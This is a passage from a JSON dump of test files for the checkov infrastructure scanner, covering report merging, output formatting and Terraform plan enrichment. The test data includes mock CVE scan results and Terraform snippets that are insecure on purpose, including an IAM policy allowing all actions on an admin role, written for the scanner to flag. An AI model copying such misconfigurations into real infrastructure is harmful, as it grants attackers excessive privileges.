\"dockerFileContent\": \"image: nginx:stable-alpine-perl\",\n            \"type\": \"Image\",\n            \"sourceId\": \"arielkru/ak19-pr-sce-test\",\n            \"branch\": None,\n            \"sourceType\": \"Github\",\n            \"vulnerabilities\":\n            [\n                {\n                    \"cveId\": \"CVE-2020-35538\",\n                    \"status\": \"open\",\n                    \"severity\": \"medium\",\n                    \"packageName\": \"libjpeg-turbo\",\n                    \"packageVersion\": \"2.1.3-r1\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-35538\",\n                    \"cvss\": 5.5,\n                    \"vector\": \"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H\",\n                    \"description\": \"A crafted input file could cause a null pointer dereference in jcopy_sample_rows() when processed by libjpeg-turbo.\",\n                    \"riskFactors\":\n                    [\n                        \"Attack complexity: low\",\n                        \"Medium severity\"\n                    ],\n                    \"publishedDate\": \"2022-08-31T16:15:00Z\"\n                }\n            ],\n            \"packages\":\n            [\n                {\n                    \"type\": \"os\",\n                    \"name\": \"tzdata\",\n                    \"version\": \"2022a-r0\",\n                    \"licenses\":\n                    [\n                        \"Public-Domain\"\n                    ]\n                }\n            ],\n            \"relatedResourceId\": \"jobs.container-test-job\",\n        }\n        ]\n\n        reports = [\n            tf_image_referencer_report,\n            gha_image_referencer_report\n        ]\n\n        # when\n        merged_reports = runner_registry._merge_reports(reports=reports)\n\n        # then\n        assert len(merged_reports[0].image_cached_results) == 2\n\n    def test_merge_reports_sca_supported_ir_report(self):\n        from checkov.common.bridgecrew.platform_integration import bc_integration\n        bc_integration.customer_run_config_response = {'supportedIrFw': 'terraform'}\n        # given\n        runner_registry = RunnerRegistry(banner, RunnerFilter(), *DEFAULT_RUNNERS)\n        tf_report = Report(check_type=CheckType.TERRAFORM)\n        tf_ir_report = Report(check_type=CheckType.SCA_IMAGE)\n        tf_ir_report.image_cached_results = [\n            {\n                \"dockerImageName\": \"busybox\",\n                \"dockerFilePath\": \"/Users/arielk/dev/terragoat/terraform/aws/image-referencer.tf\",\n                \"dockerFileContent\": \"image: busybox\",\n                \"type\": \"Image\",\n                \"sourceId\": \"ariel-cli/terragoat\",\n                \"branch\": \"branch-name\",\n                \"sourceType\": \"cli\",\n                \"vulnerabilities\":\n                    [\n                        {\n                            \"cveId\": \"CVE-2022-28391\",\n                            \"status\": \"open\",\n                            \"severity\": \"high\",\n                            \"packageName\": \"busybox\",\n                            \"packageVersion\": \"1.34.1\",\n                            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2022-28391\",\n                            \"cvss\": 8.8,\n                            \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\",\n                            \"description\": \"BusyBox through 1.35.0 allows remote attackers to execute arbitrary code if netstat is used to print a DNS PTR record\\\\'s value to a VT compatible terminal. Alternatively, the attacker could choose to change the terminal\\\\'s colors.\",\n                            \"riskFactors\":\n                                [\n                                    \"Attack complexity: low\",\n                                    \"Attack vector: network\",\n                                    \"High severity\",\n                                    \"Recent vulnerability\",\n                                    \"Remote execution\"\n                                ],\n                            \"publishedDate\": \"2022-04-03T21:15:00Z\"\n                        }\n                    ],\n                \"packages\":\n                    [],\n                \"relatedResourceId\": \"/Users/arielk/dev/terragoat/terraform/aws/image-referencer.tf:aws_batch_job_definition.test1111\"\n            }\n        ]\n        gha_report = Report(CheckType.GITHUB_ACTIONS)\n        gha_ir_report = Report(check_type=CheckType.SCA_IMAGE)\n        gha_ir_report.image_cached_results = [\n            {\n                \"dockerImageName\": \"nginx:stable-alpine-perl\",\n                \"dockerFilePath\": \"/.github/workflows/ci.yaml\",\n                \"dockerFileContent\": \"image: nginx:stable-alpine-perl\",\n                \"type\": \"Image\",\n                \"sourceId\": \"arielkru/ak19-pr-sce-test\",\n                \"branch\": None,\n                \"sourceType\": \"Github\",\n                \"vulnerabilities\":\n                    [\n                        {\n                            \"cveId\": \"CVE-2020-35538\",\n                            \"status\": \"open\",\n                            \"severity\": \"medium\",\n                            \"packageName\": \"libjpeg-turbo\",\n                            \"packageVersion\": \"2.1.3-r1\",\n                            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-35538\",\n                            \"cvss\": 5.5,\n                            \"vector\": \"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H\",\n                            \"description\": \"A crafted input file could cause a null pointer dereference in jcopy_sample_rows() when processed by libjpeg-turbo.\",\n                            \"riskFactors\":\n                                [\n                                    \"Attack complexity: low\",\n                                    \"Medium severity\"\n                                ],\n                            \"publishedDate\": \"2022-08-31T16:15:00Z\"\n                        }\n                    ],\n                \"packages\":\n                    [\n                        {\n                            \"type\": \"os\",\n                            \"name\": \"tzdata\",\n                            \"version\": \"2022a-r0\",\n                            \"licenses\":\n                                [\n                                    \"Public-Domain\"\n                                ]\n                        }\n                    ],\n                \"relatedResourceId\": \"jobs.container-test-job\",\n            }\n        ]\n        sca_report = Report(CheckType.SCA_IMAGE)\n        sca_report.image_cached_results = [\n            {\n                \"dockerImageName\": \"nginx:stable-alpine-perl2\",\n                \"dockerFilePath\": \"/.github/workflows/ci.yaml\",\n                \"dockerFileContent\": \"image: nginx:stable-alpine-perl\",\n                \"type\": \"Image\",\n                \"sourceId\": \"arielkru/ak19-pr-sce-test\",\n                \"branch\": None,\n                \"sourceType\": \"Github\",\n                \"vulnerabilities\":\n                    [\n                        {\n                            \"cveId\": \"CVE-2020-35538\",\n                            \"status\": \"open\",\n                            \"severity\": \"medium\",\n                            \"packageName\": \"libjpeg-turbo\",\n                            \"packageVersion\": \"2.1.3-r1\",\n                            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-35538\",\n                            \"cvss\": 5.5,\n                            \"vector\": \"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H\",\n                            \"description\": \"A crafted input file could cause a null pointer dereference in jcopy_sample_rows() when processed by libjpeg-turbo.\",\n                            \"riskFactors\":\n                                [\n                                    \"Attack complexity: low\",\n                                    \"Medium severity\"\n                                ],\n                            \"publishedDate\": \"2022-08-31T16:15:00Z\"\n                        }\n                    ],\n                \"packages\":\n                    [\n                        {\n                            \"type\": \"os\",\n                            \"name\": \"tzdata\",\n                            \"version\": \"2022a-r0\",\n                            \"licenses\":\n                                [\n                                    \"Public-Domain\"\n                                ]\n                        }\n                    ],\n                \"relatedResourceId\": \"jobs.container-test-job\",\n            }\n        ]\n\n        reports = [\n            [tf_report, tf_ir_report],\n            [gha_report, gha_ir_report],\n            sca_report\n        ]\n\n        # when\n        merged_reports = runner_registry._merge_reports(reports=reports)\n\n        # then\n        sca_report = [r for r in merged_reports if r.check_type == CheckType.SCA_IMAGE]\n        assert len(sca_report[0].image_cached_results) == 3\n        assert len(runner_registry.sca_supported_ir_report.image_cached_results) == 2\n\n\ndef test_non_compact_json_output(capsys):\n    # given\n    test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/example_s3_tf\"\n    runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n    runner_registry = RunnerRegistry(\n        banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n    )\n    reports = runner_registry.run(root_folder=test_files_dir)\n\n    config = argparse.Namespace(\n        file=['./example_s3_tf/main.tf'],\n        compact=False,\n        output=['json'],\n        quiet=False,\n        soft_fail=False,\n        soft_fail_on=None,\n        hard_fail_on=None,\n        output_file_path=None,\n        use_enforcement_rules=None\n    )\n\n    # when\n    runner_registry.print_reports(scan_reports=reports, config=config)\n\n    # then\n    captured = capsys.readouterr()\n\n    assert 'code_block' in captured.out\n\n\ndef test_extra_resources_in_report(capsys):\n    # given\n    test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/example_bicep_with_empty_resources\"\n    runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n    runner_registry = RunnerRegistry(\n        banner, runner_filter, bicep_runner()\n    )\n    reports = runner_registry.run(root_folder=test_files_dir)\n\n    config = argparse.Namespace(\n        file=['./example_bicep_with_empty_resources/playground.bicep'],\n        compact=False,\n        output=['json'],\n        quiet=False,\n        soft_fail=False,\n        soft_fail_on=None,\n        hard_fail_on=None,\n        output_file_path=None,\n        use_enforcement_rules=None\n    )\n\n    # when\n    runner_registry.print_reports(scan_reports=reports, config=config)\n\n    # then\n    for report in reports:\n        assert len(report.extra_resources) > 0\n\n\ndef test_extra_resources_removed_from_report(capsys):\n    # given\n    test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/example_bicep_with_empty_resources\"\n    runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n    runner_registry = RunnerRegistry(\n        banner, runner_filter, bicep_runner()\n    )\n    reports = runner_registry.run(root_folder=test_files_dir)\n\n    config = argparse.Namespace(\n        file=['./example_bicep_with_empty_resources/playground.bicep'],\n        compact=False,\n        output=['json'],\n        quiet=False,\n        soft_fail=False,\n        soft_fail_on=None,\n        hard_fail_on=None,\n        output_file_path=None,\n        use_enforcement_rules=None,\n        skip_resources_without_violations=True\n    )\n\n    # when\n    runner_registry.print_reports(scan_reports=reports, config=config)\n\n    # then\n    for report in reports:\n        assert len(report.extra_resources) == 0\n\n\ndef test_output_file_path_with_output_mapping(tmp_path: Path, capsys: CaptureFixture[str]):\n    # given\n    test_files_dir = Path(__file__).parent / \"example_s3_tf\"\n    runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n    runner_registry = RunnerRegistry(\n        banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n    )\n    reports = runner_registry.run(root_folder=str(test_files_dir))\n\n    json_file_path = tmp_path / \"result.json\"\n    xml_file_path = tmp_path / \"sub_folder/result.xml\"\n    config = argparse.Namespace(\n        file=['./example_s3_tf/main.tf'],\n        compact=False,\n        output=[\"json\", \"cli\", \"junitxml\"],\n        quiet=False,\n        soft_fail=False,\n        soft_fail_on=None,\n        hard_fail_on=None,\n        output_file_path=f\"{json_file_path},console,{xml_file_path}\",\n        use_enforcement_rules=None,\n        output_bc_ids=False,\n        summary_position=\"top\",\n    )\n\n    # when\n    runner_registry.print_reports(scan_reports=reports, config=config)\n\n    # then\n    assert 'By Prisma Cloud' in capsys.readouterr().out\n\n    assert json_file_path.exists()\n    assert '\"check_type\": \"terraform\"' in json_file_path.read_text()\n\n    assert xml_file_path.exists()\n    assert \"<testcase \" in xml_file_path.read_text()\n\n\ndef test_strip_code_blocks_from_json():\n    # given\n    reports = [\n        {\n            \"check_type\": \"terraform\",\n            \"results\": {\n                \"passed_checks\": [\n                    {\n                        \"check_id\": \"CKV_AWS_88\",\n                        \"bc_check_id\": \"BC_AWS_PUBLIC_12\",\n                        \"check_name\": \"EC2 instance should not have public IP.\",\n                        \"check_result\": {\n                            \"result\": CheckResult.PASSED,\n                            \"evaluated_keys\": [\"associate_public_ip_address\"],\n                        },\n                        \"code_block\": [\n                            (1, 'resource \"aws_instance\" \"web_host\" {\\n'),\n                            (2, \"  # ec2 have plain text secrets in user data\\n\"),\n                            (3, '  ami           = \"${var.ami}\"\\n'),\n                            (4, '  instance_type = \"t2.nano\"\\n'),\n                            (5, \"\\n\"),\n                            (6, \"  vpc_security_group_ids = [\\n\"),\n                            (7, '  \"${aws_security_group.web-node.id}\"]\\n'),\n                            (8, '  subnet_id = \"${aws_subnet.web_subnet.id}\"\\n'),\n                            (31, \"}\\n\"),\n                        ],\n                        \"file_path\": \"/ec2.tf\",\n                        \"file_abs_path\": \"/ec2.tf\",\n                        \"repo_file_path\": \"/ec2.tf\",\n                        \"file_line_range\": [1, 31],\n                        \"resource\": \"aws_instance.web_host\",\n                        \"evaluations\": None,\n                        \"check_class\": \"checkov.terraform.checks.resource.aws.EC2PublicIP\",\n                        \"fixed_definition\": None,\n                        \"entity_tags\": {},\n                        \"caller_file_path\": None,\n                        \"caller_file_line_range\": None,\n                        \"resource_address\": None,\n                        \"severity\": None,\n                        \"bc_category\": None,\n                        \"benchmarks\": None,\n                        \"description\": None,\n                        \"short_description\": None,\n                        \"vulnerability_details\": None,\n                        \"connected_node\": None,\n                        \"guideline\": \"https://docs.bridgecrew.io/docs/public_12\",\n                        \"details\": [],\n                        \"check_len\": None,\n                        \"definition_context_file_path\": \"/ec2.tf\",\n                    }\n                ],\n                \"failed_checks\": [],\n                \"skipped_checks\": [],\n                \"parsing_errors\": [\n                    \"/main.tf\",\n                ],\n            },\n            \"summary\": {\n                \"passed\": 1,\n                \"failed\": 0,\n                \"skipped\": 0,\n                \"parsing_errors\": 1,\n                \"resource_count\": 0,\n                \"checkov_version\": \"2.2.330\",\n            },\n            \"url\": \"Add an api key '--bc-api-key <api-key>' to see more detailed insights via https://bridgecrew.cloud\",\n        }\n    ]\n\n    # when\n    RunnerRegistry.strip_code_blocks_from_json(report_jsons=reports)\n\n    # then\n    assert reports[0][\"results\"][\"passed_checks\"][0][\"code_block\"] is None\n    assert reports[0][\"results\"][\"passed_checks\"][0][\"connected_node\"] is None\n\n\ndef test_merge_runners():\n    runner_cdk = CdkRunner()\n    runner_sast = SastRunner()\n    runner_tf = TFRunner()\n    valid_runners = [(runner_cdk, None, None, None, None, None, None)]\n    merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners)\n    assert len(merged_runners) == 1\n    assert isinstance(merged_runners[0][0], CdkRunner)\n\n    valid_runners = [(runner_sast, None, None, None, None, None, None)]\n    merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners)\n    assert len(merged_runners) == 1\n    assert isinstance(merged_runners[0][0], SastRunner)\n\n    valid_runners = [(runner_cdk, None, None, None, None, None, None), (runner_sast, None, None, None, None, None, None)]\n    merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners)\n    assert len(merged_runners) == 1\n    assert isinstance(merged_runners[0][0], SastRunner)\n    assert len(merged_runners[0][0].cdk_langs) > 0\n\n    valid_runners = [(runner_cdk, None, None, None, None, None, None), (runner_tf, None, None, None, None, None, None)]\n    merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners)\n    assert len(merged_runners) == 2\n    assert isinstance(merged_runners[0][0], CdkRunner) or isinstance(merged_runners[0][0], TFRunner)\n    assert isinstance(merged_runners[1][0], CdkRunner) or isinstance(merged_runners[1][0], TFRunner)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/common/runner_registry/test_runner_registry_plan_enrichment.py",
    "content": "import unittest\n\nfrom pathlib import Path\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.util.banner import banner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.registry import module_loader_registry\nfrom checkov.terraform.plan_runner import Runner as tf_plan_runner\nfrom checkov.terraform.tf_parser import TFParser\n\n\nclass TestRunnerRegistryEnrichment(unittest.TestCase):\n    def test_enrichment_of_plan_report(self):\n        allowed_checks = [\"CKV_AWS_20\", \"CKV_AWS_28\", \"CKV_AWS_63\", \"CKV_AWS_119\"]\n        runner_registry = RunnerRegistry(\n            banner, RunnerFilter(checks=allowed_checks, framework=[\"terraform_plan\"]), tf_plan_runner()\n        )\n\n        repo_root = Path(__file__).parent / \"plan_with_hcl_for_enrichment\"\n        valid_plan_path = repo_root / \"tfplan.json\"\n\n        report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0]\n\n        failed_check_ids = {c.check_id for c in report.failed_checks}\n        skipped_check_ids = {c.check_id for c in report.skipped_checks}\n        expected_failed_check_ids = {\"CKV_AWS_63\", \"CKV_AWS_119\"}\n        expected_skipped_check_ids = {\"CKV_AWS_20\", \"CKV_AWS_28\"}\n\n        enriched_data = {(c.file_path, tuple(c.file_line_range), tuple(c.code_block)) for c in report.failed_checks}\n        expected_enriched_data = {\n            (\n                \"iam.tf\",\n                (1, 19),\n                (\n                    (1, 'resource \"aws_iam_policy\" \"policy\" {\\n'),\n                    (2, '  name        = \"my_policy-123456789101\"\\n'),\n                    (3, '  path        = \"/\"\\n'),\n                    (4, '  description = \"My test policy\"\\n'),\n                    (5, \"  policy = <<EOF\\n\"),\n                    (6, \"{\\n\"),\n                    (7, '  \"Version\": \"2012-10-17\",\\n'),\n                    (8, '  \"Statement\": [\\n'),\n                    (9, \"    {\\n\"),\n                    (10, '      \"Action\": [\\n'),\n                    (11, '        \"*\"\\n'),\n                    (12, \"      ],\\n\"),\n                    (13, '      \"Effect\": \"Allow\",\\n'),\n                    (14, '      \"Resource\": \"arn:aws:iam::${var.aws_account_id}:role/admin\"\\n'),\n                    (15, \"    }\\n\"),\n                    (16, \"  ]\\n\"),\n                    (17, \"}\\n\"),\n                    (18, \"EOF\\n\"),\n                    (19, \"}\"),\n                ),\n            ),\n            (\n                \"dynamodb.tf\",\n                (1, 12),\n                (\n                    (1, 'resource \"aws_dynamodb_table\" \"cross-environment-violations\" {\\n'),\n                    (2, \"  # checkov:skip=CKV_AWS_28: ignoring backups for now\\n\"),\n                    (3, '  name           = \"CrossEnvironmentViolations\"\\n'),\n                    (4, \"  read_capacity  = 20\\n\"),\n                    (5, \"  write_capacity = 20\\n\"),\n                    (6, '  hash_key       = \"id\"\\n'),\n                    (7, \"  attribute {\\n\"),\n                    (8, '    name = \"id\"\\n'),\n                    (9, '    type = \"S\"\\n'),\n                    (10, \"  }\\n\"),\n                    (11, \"  provider = aws.current_region\\n\"),\n                    (12, \"}\"),\n                ),\n            ),\n        }\n\n        self.assertEqual(len(failed_check_ids), 2)\n        self.assertEqual(failed_check_ids, expected_failed_check_ids)\n        self.assertEqual(len(skipped_check_ids), 2)\n        self.assertEqual(skipped_check_ids, expected_skipped_check_ids)\n        self.assertEqual(enriched_data, expected_enriched_data)\n\n    def test_enrichment_of_plan_report_with_modules(self):\n        allowed_checks = [\"CKV_AWS_66\", \"CKV_AWS_158\"]\n        runner_registry = RunnerRegistry(\n            banner, RunnerFilter(checks=allowed_checks, framework=[\"terraform_plan\"]), tf_plan_runner()\n        )\n\n        repo_root = Path(__file__).parent / \"plan_with_tf_modules_for_enrichment\"\n        valid_plan_path = repo_root / \"tfplan.json\"\n\n        report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0]\n\n        failed_check_ids = [c.check_id for c in report.failed_checks]\n        passed_check_ids = [c.check_id for c in report.passed_checks]\n        skipped_check_ids = [c.check_id for c in report.skipped_checks]\n        expected_failed_check_ids = [\"CKV_AWS_158\", \"CKV_AWS_158\"]\n        expected_passed_check_ids = [\"CKV_AWS_66\", \"CKV_AWS_66\"]\n        expected_skipped_check_ids = []\n\n        enriched_data = set(\n            [(c.file_path, tuple(c.file_line_range), tuple(c.code_block)) for c in report.failed_checks]\n        )\n        expected_enriched_data = {\n            (f\"/{Path.relative_to(valid_plan_path, repo_root)}\", (16, 16), (),),\n            (\n                \"log_group/main.tf\",\n                (1, 2),\n                ((1, 'resource \"aws_cloudwatch_log_group\" \"not_encrypted\" {\\n'), (2, \"}\\n\"),),\n            ),\n        }\n\n        self.assertEqual(len(failed_check_ids), 2)\n        self.assertEqual(failed_check_ids, expected_failed_check_ids)\n        self.assertEqual(len(passed_check_ids), 2)\n        self.assertEqual(passed_check_ids, expected_passed_check_ids)\n        self.assertEqual(len(skipped_check_ids), 0)\n        self.assertEqual(skipped_check_ids, expected_skipped_check_ids)\n        self.assertEqual(enriched_data, expected_enriched_data)\n\n    def test_enrichment_of_plan_report_with_for_each(self):\n        allowed_checks = [\"CKV2_AWS_38\", \"CKV_AWS_277\"]\n        runner_registry = RunnerRegistry(\n            banner, RunnerFilter(checks=allowed_checks, framework=[\"terraform_plan\"]), tf_plan_runner()\n        )\n\n        repo_root = Path(__file__).parent / \"plan_with_for_each_for_enrichment\"\n        valid_plan_path = repo_root / \"tf_plan.json\"\n\n        report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0]\n\n        self.assertEqual(len(report.failed_checks), 0)\n\n        self.assertEqual(len(report.passed_checks), 0)\n\n        self.assertEqual(len(report.skipped_checks), 5)\n\n\n    def test_skip_check(self):\n        allowed_checks = [\"CKV_AWS_20\", \"CKV_AWS_28\"]\n        runner_registry = RunnerRegistry(\n            banner, RunnerFilter(checks=allowed_checks, framework=[\"terraform_plan\"]), tf_plan_runner()\n        )\n\n        repo_root = Path(__file__).parent / \"plan_with_hcl_for_enrichment\"\n        valid_plan_path = repo_root / \"tfplan.json\"\n\n        report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0]\n\n        failed_check_ids = {c.check_id for c in report.failed_checks}\n        skipped_check_ids = {c.check_id for c in report.skipped_checks}\n        expected_skipped_check_ids = {\"CKV_AWS_20\", \"CKV_AWS_28\"}\n\n        self.assertEqual(len(failed_check_ids), 0)\n        self.assertEqual(len(skipped_check_ids), 2)\n        self.assertEqual(skipped_check_ids, expected_skipped_check_ids)\n\n\n    def test_skip_check_in_module(self):\n        allowed_checks = [\"CKV_AWS_19\", \"CKV2_AWS_6\"]\n        runner_registry = RunnerRegistry(\n            banner, RunnerFilter(checks=allowed_checks, framework=[\"terraform_plan\"]), tf_plan_runner()\n        )\n\n        repo_root = Path(__file__).parent / \"plan_module_skip_for_enrichment\" / \"tf\"\n        valid_plan_path = repo_root / \"tfplan.json\"\n\n        report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0]\n\n        failed_check_ids = {c.check_id for c in report.failed_checks}\n        skipped_check_ids = {c.check_id for c in report.skipped_checks}\n        expected_skipped_check_ids = { \"CKV2_AWS_6\" }\n\n        self.assertEqual(len(failed_check_ids), 0)\n        self.assertEqual(len(skipped_check_ids), 1)\n        self.assertEqual(skipped_check_ids, expected_skipped_check_ids)\n\n\ndef test_enrichment_of_plan_report_with_external_modules(mocker: MockerFixture):\n    # given\n    allowed_checks = [\"CKV_AWS_66\", \"CKV_AWS_158\"]\n    runner_filter = RunnerFilter(\n        checks=allowed_checks,\n        framework=[\"terraform_plan\"],\n        download_external_modules=True,\n        external_modules_download_path=\"example/path\",\n    )\n    runner_registry = RunnerRegistry(banner, runner_filter, tf_plan_runner())\n\n    repo_root = Path(__file__).parent / \"plan_with_external_tf_modules_for_enrichment\"\n    valid_plan_path = repo_root / \"tfplan.json\"\n\n    def _load_tf_modules(*args, **kwargs):\n        # set module cache to be the local folder instead of downloading the external module\n        module_loader_registry.module_content_cache = {\n            'terraform-aws-modules/cloudwatch/aws//modules/log-group:2.1.0': ModuleContent(\n                dir=str(repo_root / \"log_group_external\")\n            )\n        }\n\n    parse_directory_spy = mocker.spy(TFParser, \"parse_directory\")\n    mocker.patch(\"checkov.terraform.tf_parser.load_tf_modules\", side_effect=_load_tf_modules)\n\n    # when\n    report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0]\n\n    # reset module cache\n    module_loader_registry.reset_module_content_cache()\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 1\n    assert summary[\"parsing_errors\"] == 0\n\n    assert {c.check_id for c in report.passed_checks} == {\"CKV_AWS_66\"}\n    assert {c.check_id for c in report.skipped_checks} == {\"CKV_AWS_158\"}\n\n    parse_directory_spy.assert_called()\n    call_args = parse_directory_spy.call_args\n    assert call_args.kwargs[\"external_modules_download_path\"] == \"example/path\"\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/common/runners/filter_ignored_directories_by_values/dir1/dir2++/file2.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/filter_ignored_directories_by_values/dir1/dir4/file3.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/filter_ignored_directories_by_values/dir1/file1.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/filter_ignored_directories_by_values/dir11/dir2++/file4.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/filter_ignored_directories_by_values/dir33/dir2++/file5.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/filter_ignored_directories_by_values/dir33/file2.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/sample_dir/dir1/dir2/file2.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/sample_dir/dir1/dir4/file3.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/sample_dir/dir1/file1.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/sample_dir/dir11/dir2/file4.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/sample_dir/dir33/dir2/file5.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/sample_dir/dir33/file2.tf",
    "content": ""
  },
  {
    "path": "tests/common/runners/test_base_runner.py",
    "content": "import os\nimport unittest\nfrom typing import Optional, List\n\nfrom checkov.common.output.report import Report\nfrom checkov.common.runners.base_runner import filter_ignored_paths, BaseRunner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestBaseRunner(unittest.TestCase):\n\n    def test_filter_ignored_directories_regex_legacy(self):\n        d_names = ['bin', 'integration_tests', 'tests', 'docs', '.github', 'checkov', 'venv', '.git', 'kubernetes', '.idea']\n        expected = ['bin', 'docs', 'checkov', 'venv', 'kubernetes']\n        filter_ignored_paths('.', d_names, [\"tests\"])\n        self.assertEqual(expected, d_names)\n\n    def test_filter_ignored_directories_regex_relative_cwd(self):\n        # this simulates scanning a subdirectory and applying filter logic relative to the CWD\n        # for this we need to CD temporarily\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        old_cwd = os.path.abspath(os.curdir)\n\n        try:\n            os.chdir(current_dir)\n\n            excluded_paths = ['dir2', os.path.join('dir1', 'file1.tf')]\n\n            remaining_dirs = []\n            remaining_files = []\n\n            expected_dirs = {\n                os.path.join('sample_dir', 'dir33'),\n                os.path.join('sample_dir', 'dir1'),\n                os.path.join('sample_dir', 'dir1', 'dir4'),\n                os.path.join('sample_dir', 'dir11')\n            }\n\n            expected_files = {\n                os.path.join('sample_dir', 'dir33', 'file2.tf'),\n                os.path.join('sample_dir', 'dir1', 'dir4', 'file3.tf'),\n            }\n\n            for root, dirs, files in os.walk('sample_dir'):\n                filter_ignored_paths(root, dirs, excluded_paths)\n                filter_ignored_paths(root, files, excluded_paths)\n                remaining_dirs += [os.path.join(root, d) for d in dirs]\n                remaining_files += [os.path.join(root, f) for f in files]\n\n            # we expect .terraform and all dir2 to get filtered out\n            # also dir1/file1\n            self.assertEqual(set(remaining_dirs), expected_dirs)\n            self.assertEqual(set(remaining_files), expected_files)\n\n            excluded_paths = [os.path.join('dir1', 'dir2')]\n\n            remaining_dirs = []\n            remaining_files = []\n\n            expected_dirs = {\n                os.path.join('sample_dir', 'dir33'),\n                os.path.join('sample_dir', 'dir1'),\n                os.path.join('sample_dir', 'dir1', 'dir4'),\n                os.path.join('sample_dir', 'dir11'),\n                os.path.join('sample_dir', 'dir11', 'dir2'),\n                os.path.join('sample_dir', 'dir33', 'dir2'),\n            }\n\n            expected_files = {\n                os.path.join('sample_dir', 'dir33', 'file2.tf'),\n                os.path.join('sample_dir', 'dir1', 'file1.tf'),\n                os.path.join('sample_dir', 'dir1', 'dir4', 'file3.tf'),\n                os.path.join('sample_dir', 'dir11', 'dir2', 'file4.tf'),\n                os.path.join('sample_dir', 'dir33', 'dir2', 'file5.tf')\n            }\n\n            for root, dirs, files in os.walk('sample_dir'):\n                filter_ignored_paths(root, dirs, excluded_paths)\n                filter_ignored_paths(root, files, excluded_paths)\n                remaining_dirs += [os.path.join(root, d) for d in dirs]\n                remaining_files += [os.path.join(root, f) for f in files]\n\n            # we expect .terraform and dir1/dir2 to get filtered out\n            self.assertEqual(set(remaining_dirs), expected_dirs)\n            self.assertEqual(set(remaining_files), expected_files)\n\n            excluded_paths = [os.path.join('dir..', 'dir2')]\n\n            remaining_dirs = []\n            remaining_files = []\n\n            expected_dirs = {\n                os.path.join('sample_dir', 'dir33'),\n                os.path.join('sample_dir', 'dir1'),\n                os.path.join('sample_dir', 'dir1', 'dir4'),\n                os.path.join('sample_dir', 'dir11'),\n                os.path.join('sample_dir', 'dir1', 'dir2')\n            }\n\n            expected_files = {\n                os.path.join('sample_dir', 'dir1', 'dir2', 'file2.tf'),\n                os.path.join('sample_dir', 'dir1', 'file1.tf'),\n                os.path.join('sample_dir', 'dir33', 'file2.tf'),\n                os.path.join('sample_dir', 'dir1', 'dir4', 'file3.tf')\n            }\n\n            for root, dirs, files in os.walk('sample_dir'):\n                filter_ignored_paths(root, dirs, excluded_paths)\n                filter_ignored_paths(root, files, excluded_paths)\n                remaining_dirs += [os.path.join(root, d) for d in dirs]\n                remaining_files += [os.path.join(root, f) for f in files]\n\n            # we expect .terraform and dir11/dir2 and dir33/dir2 to get filtered out\n            self.assertEqual(set(remaining_dirs), expected_dirs)\n            self.assertEqual(set(remaining_files), expected_files)\n\n        finally:\n            os.chdir(old_cwd)\n\n    def test_filter_ignored_directories_regex_absolute_cwd(self):\n        # this simulates scanning a subdirectory and applying filter logic using an absolute path\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        excluded_paths = ['dir2']\n\n        remaining_dirs = []\n\n        expected = {\n            os.path.join(current_dir, 'sample_dir', 'dir33'),\n            os.path.join(current_dir, 'sample_dir', 'dir1'),\n            os.path.join(current_dir, 'sample_dir', 'dir1', 'dir4'),\n            os.path.join(current_dir, 'sample_dir', 'dir11')\n        }\n\n        for root, dirs, files in os.walk(os.path.join(current_dir, 'sample_dir')):\n            filter_ignored_paths(root, dirs, excluded_paths)\n            remaining_dirs += [os.path.join(root, d) for d in dirs]\n\n        # we expect .terraform and all dir2 to get filtered out\n        